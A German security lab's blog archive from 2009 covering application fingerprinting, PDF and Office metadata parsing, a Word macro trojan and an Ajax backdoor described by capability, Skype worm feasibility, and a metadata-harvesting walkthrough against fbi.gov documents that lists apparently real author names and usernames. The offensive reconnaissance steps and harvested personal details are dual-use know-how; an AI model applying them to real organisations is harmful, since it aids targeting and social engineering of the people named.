Doch heute scheint dies, da man sich auf der vermeintlichen Mächtigkeit der Antiviren-Lösungen abstützt, schon wieder vergessen zu sein. Oder wie kommt es, dass wir regelmässig von grösseren Unternehmen Word-Dokumente erhalten, die VBA-Code enthalten?

Bevor wir jüngst einen solchen natürlich zugelassen haben, wollten wir zuerst schauen, was er denn effektiv macht. Und zu unserem Erstaunen mussten wir feststellen, dass hier leere Funktionsaufrufe gegeben sind (siehe anonymisierter Screenshot).

Selbstverständlich haben wir diesen nützlichen sinnlosen Code aus dem durch uns bearbeiteten Konzept entfernt. Und gleichzeit haben wir uns die Notiz gemacht, dass man den besagten Kunden zur internen Makro-Richtlinie befragen sollte.

Allem Anschein nach werden diese breitflächig genutzt (die Sicherheitseinstellungen werden wohl auf Mittel oder Niedrig gesetzt sein), wodurch sich der Einsatz unseres Word Makro Trojaners anbieten würde: Mittels reinem VBA-Code, dieser pflegt in erster Linie API Calls zu DLLs des Betriebssystems zu nutzen, können wir eine Fernsteuerung eines kompromittierten Systems vornehmen. Und dies alleine mit dem Öffnen eines präparierten Word-Dokuments. Siehe zu diesem Thema ebenfalls den Blog-Beitrag Unterschätze nie den Makrovirus.

Marc Ruef | G+ (255 Wörter)

► 24.07.2009 – PDF Document Properties Parsing Probleme

Im Rahmen des Postings Automatisiertes Document Properties Profiling haben wir darüber berichtet, inwiefern das Auswerten der Document Properties öffentlicher Dokumente umgesetzt werden kann. Dabei wurde sich auf die Formate Word (doc), Excel (xls) und Acrobat (pdf) fokussiert.

Um die dort genannten Prozesse zu optimieren, haben wir uns um die Erstellung eines eigenen PDF-Parsers bemüht. Dieser liest das jeweilige Dokument ein und versucht die gewünschten Daten zu extrahieren. Hierbei sind unterschiedliche Schwierigkeiten, die mit gewissem Aufwand überwindbar sind, aufgetaucht.

Traditionell wird im Document Information Dictionary (Document management - Portable document format, Part 1: PDF 1.7) optional der Tag /Author() verwendet, um den Autor auszuweisen (siehe Tabelle). Der in runden klammern definierte Wert entspricht dem Autor. Hierbei kann nach Belieben mit Whitespaces gearbeitet werden, was ein Parsing erschwert. Nachfolgend wird eine simple Version ohne Whitespaces und danach eine mit zusätzlichen Leerzeichen dargestellt:

• /Author(Marc) (ohne Whitespaces)
• /Author (Marc) (mit Whitespaces)

Desweiteren können bei PDF-Dokumenten Kompressionen/Verschlüsselungen zum Einsatz kommen. Der in /Author() abgelegte Wert ist sodann codiert. Dabei ist eine codierte Zeichenkette stets so lang wie der Ursprungstext. Zwei codierte Zeichenketten sind jedoch nicht identisch:

• /Author(˜UÎÝ) (codiertes Beispiel 1)
• /Author(ýsjü) (codiertes Beispiel 2)

Hinzu kommt, dass in neueren Dokumentspezifikationen Tags der Form <pdf:Author>Marc</pdf:Author> verwendet werden. Bisweilen konnten wir keine Whitespace-Awareness beim Parsing beobachten. Wahrscheinlich deswegen, weil sämtliche Zeichen zwischen den Tags als Wert aufgefasst und dargestellt werden.

Marc Ruef | G+ (354 Wörter)

► 17.07.2009 – Mail Message-Id Fingerprinting

Mit dem browserrecon project wurde eine der ersten umfassenden Implementierungen entwickelt, die mittels Application Fingerprinting eine eingesetzte Client-Applikation – in diesem Fall Webbrowser – erkennen können soll. Wir sind um eine Weiterführung dieses Ansatzes bezüglich anderen Clients bemüht.

Zum Beispiel können SMTP-Header, jedenfalls einige davon, um den Mailclient des Absenders zu identifizieren. Im Rahmen dieses SMTP Client Fingerprinting haben wir mitunter statistische Analysen zur Charakterisierung der Message-Id eingesetzt. Diese Zeile wurde erstmals in RFC 724 – Proposed Official Standard for the Format of ARPA Network Messages erwähnt (Seite 24):

This field contains a unique identifier (the <phrase>) to refer to this version of this message. The uniqueness of the message identifier is guaranteed by each host. This identifier is intended to be machine readable, and not necessarily meaningful to humans. A message-id pertains to exactly one instantiation of a particular message; subsequent revisions to the message should receive new message-id’s.

Wie eine solche eindeutige Message-Id generiert wird, ist dem Client überlassen. Sodann verwundert es nicht, dass sich hier je nach Implementierung unterschiedliche Charakteristiken ausmachen lassen. Unsere Untersuchungen haben wir mit einem Skript realisiert, welches die lokalen Folder einer Thunderbird-Installation durchgeht und aus den Headern der jeweiligen Mails die Zeile “Message-Id” (und zur Querprüfung die Zeile “X-Mailer”) ausliest. Ein Auszug dieser Resultate mit Beispiel der jeweiligen Message-Id wird nachfolgend abgedruckt:

Wir werden die kommenden Tage und Wochen um die strukturelle Analyse der Message-Ids bemüht sein, um die Grundlage für das effektive Application Fingerprinting schaffen zu können.

Update 18. Juli 2009: Das Vorstellen einer funktionalen Implementierung ist für Mitte September 2009 geplant.

Marc Ruef | G+ (406 Wörter)

► 10.07.2009 – Browser Fingerprinting anhand GET Queue: Erste Resultate

Im Eintrag Browser Fingerprinting anhand GET Queue haben wir darauf hingewiesen, dass sich voraussichtlich ein charakteristisches Verhalten unterschiedlicher Browser in Bezug der Reihenfolge der Downloads eingebetteter Objekte beobachten lässt. Durch die Analyse dessen liesse sich mittels Application Fingerprinting das eingesetzte Produkt ausmachen.

Unsere Forschungsarbeiten haben erste Früchte getragen. Die ersten konkreten Resultate sollen hier nun publiziert werden. Wir verwendeten ein dynamisches HTML-Dokument, welches verschiedene HTML-Konstrukte beinhaltet, um auf eingebettete Objekte zu verweisen. Folgende Objekte sind, in der Reihenfolge ihrer Nennung im HTML-Quelltext, genutzt worden:

• f1: Favicon
• c1: CSS Dokument
• j1: Javascript Datei
• f2: Favicon
• c2: CSS Dokument
• j2: Javascript Datei
• b1: Bild
• b2: Bild in Tabellenzelle
• b3: Bild in Tabellenzelle
• b4: Bild in Tabellenzelle
• b5: Bild

Das Zugriffsverhalten darauf wird protokolliert (in unserem Fall in den Webserver-Logs) und ausgewertet. Um einen funktionalen Proof-of-Concept durchzusetzen, wurden Tests mit Mozilla Firefox 3.0.10 und Microsoft Internet Explorer 8.0.6001.18702 realisiert. Das charakteristische Verhalten dieser beiden Implementierungen soll folgend aufgelistet werden:

Mozilla Firefox 3.0.10:

• Die verlinkten Elemente im HEAD-Bereich werden immer in der dargebotenen Reihenfolge heruntergeladen.
• Das erstmalige Herunterladen von Bildern erfolgt in einer pseudo-zufälligen Reihenfolge. Dafür ist voraussichtlich das Multi-Threading verantwortlich.
• Ein neuerliches Herunterladen von Bildern, die sich schon im lokalen Cache befinden, findet hingegen immer in der exakten Reihenfolge der Nennung im HTML-Dokument statt.
• Durch das Multi-Threading werden sämtliche eingebetteten Objekte zeitnah heruntergeladen. Jedoch wird immer zum Schluss drei Sekunden später nocheinmal alle Favicons in zufälliger Reihenfolge geprüft.

Internet Explorer 8.0.6001.18702:

• Die verlinkten Elemente im HEAD-Bereich werden jeweils in einer pseudo-zufälligen Reihenfolge heruntergeladen.
• Das Herunterladen der Objekte im BODY-Bereich erfolgt stets (auch bei Reloads) in der exakten Reihenfolge ihrer Nennung.
• Es wird jeweils nur das erstgenannte Favicon heruntergeladen. Jedes weitere genannte Favicon wird immer ignoriert.
• Der Download des Favicons erfolgt in allen Fällen nur einmal und zwar unmittelbar am Schluss, nachdem alle anderen Objekte heruntergeladen wurden. Eine Zeitverzögerung wie bei Firefox konnte nie beobachtet werden.

Diese Unterscheidungen sind interessant. Nicht nur Zwecks Identifikation, sondern auch bezüglich der Performance der Browserengine. Da der Internet Explorer auf mehrere Favicons verzichtet und die neuerliche Prüfung dieser ebenfalls unterlässt, können mindestens eine Anfrage (in unserem Test sind es deren insgesamt drei) eingespart werden.

Marc Ruef | G+ (484 Wörter)

► 03.07.2009 – Automatisiertes Document Properties Profiling

Im Rahmen von Footprinting und Web Application Penetration Tests weisen wir gut und gerne darauf hin, wenn auf einem Server Dokumente dargeboten werden, die (technische) Hinweise auf die Zielumgebung gewähren. Dies sind beispielsweise Hinweise auf die genutzte Software für das Generieren von PDF-Dokumenten oder in Word-Dokumenten als Autor angegebene Windows-Benutzernamen. Ein Angreifer kann diese Informationen nutzen, um sich im Rahmen eines technischen oder psychologischen Angriffs einen grundlegenden Vorteil zu verschaffen.

Gegenwärtig sind wir im Lab darum bemüht, die Auswertungen auf dieser Ebene systematisch zu professionalisieren. Das Sammeln von interessanten Dokumenten kann entweder durch ein Fetching des Servers (z.B. mit wget) oder durch ein erweitertes Footprinting mit einer Suchmaschine wie Google geschehen. Um beispielsweise alle Dateien mit der Erweiterung *.doc auf dem Server fbi.gov anzuzeigen, ist die folgende Suchabfrage erforderlich:

site:fbi.gov filetype:doc

Durch ein Parsing der Links der jeweiligen Suchresultate (169 Stück, Stand 05.06.2009) kann in einem zweiten Schritt der Download initiiert werden. Hierfür bietet sich der Google Parser von goohackle.com an: Er liefert die Links in einer simplen Auflistung, die direkt in ein Skript übernommen werden kann. Wird die Liste beispielsweise in die Datei namens fbidocs.txt abgespeichert, kann sie durch den folgenden Aufruf mit wget eingelesen und die entsprechenden Dateien heruntergeladen werden (von den 169 Resultaten standen effektiv nur 146 Dateien bereit):

wget -i fbidocs.txt

Durch ein eigens angefertigtes Skript können nun die Dokumenteigenschaften ausgelesen werden. Die Office-Formate von Microsoft lassen sich durch ein VBScript (VBS) mit dem folgenden Code-Snipplet auslesen (das gezeigte Beispiel liest den initialen Autor eines Word-Dokuments aus):

Set oApp = WScript.CreateObject("Word.Application")
Set oDoc = oApp.Documents.Open(sFile)
WScript.Echo sFile & " (" & oDoc.BuiltInDocumentProperties("Author") & ")"
oDoc.Close
oApp.Quit
Set oDoc = Nothing
Set oApp = Nothing

Die Resultate solcher Auswertungen ist jeweils in vielerlei Hinsicht – alleine schon wenn man sich auf den Inhalt des Felds “Author” konzentriert – interessant. Hinweise dieser Art können bei einer genaueren Betrachtung anfallen:

• Name des initialen Autors (“Author”) und derjenigen Person, die das Dokument zuletzt bearbeitet hat (“Last Author”)
• Wer wieviele/viele Dokumente veröffentlicht
• Wann jemand voraussicht angestellt oder entlassen wurde (vor allem bei firmen-/domainübergreifenden Analysen interessant)
• Konvention für Benutzernamen (z.B. /u\d{6}/g für Benutzer und /a\d{3}/g für Administratoren)

Das Auswerten der auf fbi.gov gefundenen Dokumente ist nicht minder uninteressant. Die drei populärsten Autoren sind mrwalker (106 mal), Janine (16 mal) und ddweese (14 mal). Als vermeintliche Realnamen sind Reva J. Davis, Joyce M. Board und C. Michael Riley aufgetaucht. Das Sondieren von potentiellen Benutzernamen ist nicht einfach, wobei sich hier AGJCEPPA, agmjlill und dlpost am ehesten anbieten.

Im Übrigen scheinen diverse Nachrichtendienste eine strikte Richtlinie bezüglich der Veröffentlichung von Dokumenten auf ihren Webseiten zu haben. Mossad, NSA und CIA bieten gar keine Word-Dokumente an. Da trifft man ab und an lediglich auf Excel-Dateien. Ein Grossteil der Daten wird bevorzugt als PDF-Dokumente weitergegeben (siehe Tabelle). Diese lassen sich aber genauso auswerten.

Marc Ruef | G+ (553 Wörter)

► 26.06.2009 – Instabile und unzuverlässige Skype API

Vor über einem Jahr habe ich in einem privaten Blog Beitrag mit dem Titel MySkypeWorm – Connecting with Friends darauf hingewiesen, wie sich durch das Ansteuern der partiell offenen Skype API und der Nutzung von Click-Events ein Skype-Wurm entwickelt werden kann.

Schon damals habe ich eine erste Implementierung umgesetzt, mit der die Möglichkeiten dessen im Rahmen unseres Labs bewiesen wurde. Und schon dort zeigte sich, dass die Stabilität der Skype API sehr zu wünschen übrig lässt.

Im Rahmen eines neuerlichen Projekt haben wir uns einmal mehr mit der aktuellsten Version des Skype Clients auseinandergesetzt. Und es zeigt sich tatsächlich, dass auf der Entwicklerseite eines Addons (oder Wurms) sehr viel Aufwand betrieben werden muss, die unzuverlässigen Reaktionen korrekt abzufangen.

So passiert es nicht selten, dass die Rückantworten in einer nicht erwarteten Reihenfolge eintreffen. Es scheint, als gäbe es da bei aufeinander folgenden Requests eine Art Race Condition, die zu nicht vorhersehbaren Resultaten führen kann: Wenn denn nun plötzlich eine Antwort A nach der Antwort B eintrifft, obwohl Anfrage A vor Anfrage B geschickt wurde, dann kann das ziemlich verwirrend sein.

Vor allem der Befehl SEARCH USERS <target>, der zur Suche von Benutzern verwendet wird, neigt zu einem zeitkritischen Verhalten. Die Antworten können zeitversetzt und als – auf den ersten Blick – nicht zusammenhängende Chicks eintreffen. So simpel und zuverlässig, wie in der Dokumentation das Beispiel gezeigt wird, funktioniert es wirklich nur, wenn a) die Server zeitnah antworten und b) die Antworten nur aus wenigen Datensätzen bestehen:

-> SEARCH USERS echo123
<- USERS echo123, echo1232885

Unseres Erachtens eignet sich die gegenwärtige Implementierung nicht dafür, professionelle Skype-Applikationen grösseren Umfangs umzusetzen. Dies soll jedoch kein Hindernis dafür sein, dass früher oder später ein Skype-Wurm mit den Möglichkeiten eines Agobot daherkommt. Der dafür verantwortliche Virenentwickler tut mir jedoch jetzt schon fast ein bisschen leid, hätte er sich doch eine weitaus weniger nervenaufreibende Aufgabe suchen können.

Marc Ruef | G+ (373 Wörter)

► 17.06.2009 – Xdoor – Unsere Ajax-basierte Backdoor

Der Begriff Web 2.0 ist ein Buzzword, das die meisten Techniker nicht mehr hören können. Vorzugsweise deswegen, weil die meisten Projektleiter und Nutzer nicht wissen, was das überhaupt ist (und dass es die genutzten Mechanismen schon seit längerer Zeit gibt). Grundsätzlich versteht man darunter Ajax (Asynchronous JavaScript and XML), eine Kombination aus Javascript und XML.

Seit einiger Zeit wird diskutiert, ob und inwiefern sich damit Backdoors zur Kompromittierung und Fernsteuerung von Clients umsetzen lassen. Seit Anfang 2008 arbeiten wir an einer Implementierung mit dem Projektnamen Xdoor (XmlHTTP Backdoor). Diese pflegen wir seit Mitte 2008 in unseren Backdoor Tests einzusetzen.

Zu Beginn dieses Jahres haben wir ein Video aufgenommen, welches die Funktionsweise und das Verhalten von Xdoor illustriert. Dieses haben wir nun mitunter auf YouTube online gestellt, um sowohl unseren Kunden als auch technisch Interessierten diese Entwicklung aufzuzeigen. Mit Xdoor ist zur Zeit folgendes möglich:

• Interaktion mit dem Client (Chat)
• Generieren von Fenstern und dynamischen Seiteninhalten (html)
• Zugriffe und Uploads von Dateien
• Starten von Applikationen (ActiveX)
• Einfluss auf Maus und Tastatur (ActiveX)
• Portscanning, Banner-Grabbing, Vulnerability Scanning
• Kompromittierung über Browser-Exploit

Es muss erwähnt bleiben, dass es sich in der im Video gezeigten Version Xdoor 3.0 um eine ältere Implementierung vom 07.01.2009 handelt. Mittlerweile ist Xdoor 4.x im Einsatz, was ein Mehr an Modularität und dedizierte Payloads für browserspezifische Exploits unterstützt.

Marc Ruef | G+ (258 Wörter)

► 11.06.2009 – MSN Bot mit sonderbaren Anfragen

Als Sicherheitsunternehmen ist unsere Infrastruktur unweigerlich sehr stark exponiert. Immerwieder versuchen Leute, etwelche Schwachstellen – vorwiegend auf unserer Webseite – ausfindig zu machen.

Indem wir ein eigens entwickeltes Content Management System einsetzen und sehr strikte Sicherheitsmechanismen einsetzen, können wir derlei Angriffsversuche umfassend beobachten und direkt daraus lernen. Unsere Webseite fungiert dabei quasi als Honeypot.

Eine Benachrichtung des Monitorings wies vor kurzem auf ein sonderbares Verhalten eines Search Engine Crawlers hin. Und zwar ist es der MSN Bot, der willkürlich eine HTTP GET-Variable mit dem Namen foo definiert und ihr den Wert test übergibt:

IP Address: 65.55.108.211:61402 (msnbot-65-55-108-211.search.msn.com)
User Agent: msnbot-media/1.1 (+http://search.msn.com/msnbot.htm)
Request: foo=test

Der Nutzen dieser willkürlichen Abfragestruktur erschliesst sich uns noch nicht ganz (kurze Zeit später konnte eine mit einer überlangen Anfrage von %20 beobachtet werden). Vielleicht will man damit ein Caching der Seiten durch transparente Proxies verhindern, um das Crawling möglichst zuverlässig zu gestalten? Unser IPS mag es jedenfalls nicht, wenn da aus dem Nichts irgendwelche Variablennamen generiert werden. Der besagte Bot ist nun jedenfalls vorerst gesperrt wieder freigegeben.

Marc Ruef | G+ (202 Wörter)

► 04.06.2009 – Keyboard Sniffing mit Keykeriki

Max Moser, ein ehemaliger Arbeitskollege meinerseits, beschäftigt sich seit geraumer Zeit mit dem Mitlesen von Datenübertragungen drahtloser Tastaturen.

Heute hat er ein Video online gestellt, in dem er seine Implementierung Keykeriki demonstriert:

Ein interessanter Ansatz, den Max da verfolgt. Und vor allem eine Geschichte, die durchaus die eine oder andere Strafverfolgungsbehörde oder Nachrichtendienste interessieren dürfte. Die Nützlichkeit von drahtlosen Eingabegeräten (stationärer) Rechner bleibt damit sicherheitstechnisch definitiv umstritten.

Marc Ruef | G+ (97 Wörter)

► 29.05.2009 – Browser Fingerprinting anhand GET Queue

Die letzten Jahre haben wir uns intensiver mit Application Fingerprinting auseinandergesetzt. Dabei geht es darum anhand des charakteristischen Verhaltens von Anwendungen das eingesetzte Produkt zu erkennen. Dadurch können produktspezifische Angriffe vorbereitet werden. Mit Projekten wie httprecon und browserrecon wurden erste solide Implementierungen umgesetzt, die eine breitflächige Akzeptanz unter Penetration Testern erlangt haben (zur Zeit werden sie vor allem im spanischen Sprachraum rege diskutiert).

Im Rahmen der Identifikation von Webbrowsern haben wir uns nun Gedanken darüber gemacht, ob sich ein solcher anhand der Reihenfolge seiner Downloads bei einem Zugriff auf ein Hypertext-Dokument identifizieren lässt. Die grundlegende These lautet wie folgt:

Ein Browser lädt die in einem Hypertext-Dokument eingebundenen und verlinkten Objekte in charakteristisch unterschiedlicher Weise herunter. Dadurch wird die Unterscheidung verschiedener Produkte möglich.

Erste Gehversuche einer Implementierung wurden umgesetzt. Dabei hat sich herausgestellt, dass zwar grundlegende Unterschiede gegeben sind (z.B. Reihenfolge des Einlesens Favicons und externen CSS-Dateien). Doch die jeweiligen Browser scheinen das Multithreading sehr dynamisch umzusetzen, weshalb unterschiedliche Resultate beobachtet werden können (das Caching wird ebenso unterschiedlich gehandhabt). Die gewünschte Form des Determinismus ist leider nicht gegeben oder noch nicht durch uns verstanden.

Gegenwärtig sind wir damit beschäftigt, die idealen Test-Cases für die Identifikation zu erarbeiten. Dabei spielen voraussichtlich folgende HTML-Elemente eine zentrale Rolle:

• Mit link referenzierte Dokumente im html Header
• Komplexe und verschachtelte Tabellen
• Eingebettete Dateien unterschiedlicher Typen (z.B. jpg, gif, png und bmp)
• Dynamisch referenzierte Objekte mit Javascript
• Eingebundene Objekte mit aktiven Inhalten (Flash, Java)

Wir sind gespannt, ob dieses Projekt die gewünschten Früchte tragen wird. Zwar musste bisher eine unerwartet hohe Anzahl an Rückschlägen eingesteckt werden. Dennoch schimmert bei der gesamten Arbeit immer wieder etwas Hoffnung durch, wenn denn nun plötzlich eine individuelle und deterministische Eigenart eines Browsers ausgemacht werden konnte. Es gibt noch viel zu tun, diese zu identifizieren.

Marc Ruef | G+ (329 Wörter)

► 05.05.2009 – Veröffentlichung von “Vulnerable Web Application Enumeration”

Die Kompromittierung eines Zielsystems über den Browser ist heute eine der verbreitesten und beliebtesten Varianten des Angriffs. Durch eine Vielzahl von Schwächen in der Architektur des Browsers als solches, sowie des zugrundeliegenden archaischen HTTP-Protokolls, lassen sich verschiedenste Angriffsszenarien relativ einfach realisieren. Von verwundbaren Browser-Plugins ganz zu schweigen.

Ein verbreiteter Irrtum im Hinblick auf diese Thematik ist, dass nur explizit bösartige Webseiten eine derartige Kompromittierung bewirken können. Doch nicht nur die “dunklen Winkel” des Internets bergen Gefahren, auch vertrauenswürdige Seiten können kompromittiert und als Angriffsplattform für derartige Angriffe, auch gern als “Drive-by Attack” bezeichnet, missbraucht werden. Eine einzige Zeile Javascript reicht dazu in der Regel.

Natürlich setzt das in der Regel voraus, dass ein Angreifer vorgängig zu einem flächendeckenden Angriff eine hohe Anzahl legitime Seiten unter seine Kontrolle bringen kann. Die Identifikation von verwundbaren Seiten ist daher ein wichtiger Kernpunkt.

In Vulnerable Web Application Enumeration wird aufgezeigt, wie verwundbare Web Applikationen enumeriert und identifiziert werden können. Als Beispiel wird die populäre Blogging Software “Wordpress” genutzt, die aufgrund seiner hohen Verbreitung und häufiger Sicherheitsprobleme ein beliebtes Ziel für derartige Angriffe darstellt.

Stefan Friedli | G+ (205 Wörter)

Labs Übersicht

• Letzte Beiträge
  • Sicherheitsverantwortlichkeiten und Risikosteuerung
  • Computer Forensik – Ein Überblick
  • Vortrag zu Security Testing an SGRP Veranstaltung
  • Staatstrojaner – Kritik am neuen Bundesgesetz
  • Overview of Microsoft’s security toolkit EMET
  • Blog Digest April 2013
  • Wie statisch sollten Sicherheitsrichtlinien sein?
  • Timing für effiziente unentdeckte Portscans
  • Interpreting a Logfile with Grok
  • Spamhaus DDoS mit DNS Amplification
• Archiv
  • 2013 | 2012 | 2011 | 2010 | 2009 |

• Blog Digest

• Blogroll
  • abuse.ch
  • c22.cc
  • computec.ch
  • darkreading.com
  • infosecisland.com
  • krebsonsecurity
  • metasploit.com
  • schneier.com
  • securiteam.com
  • stfn.ch
  • zeltser.com
  • 5e4n.ch
• Syndication
  • RSS
  • Twitter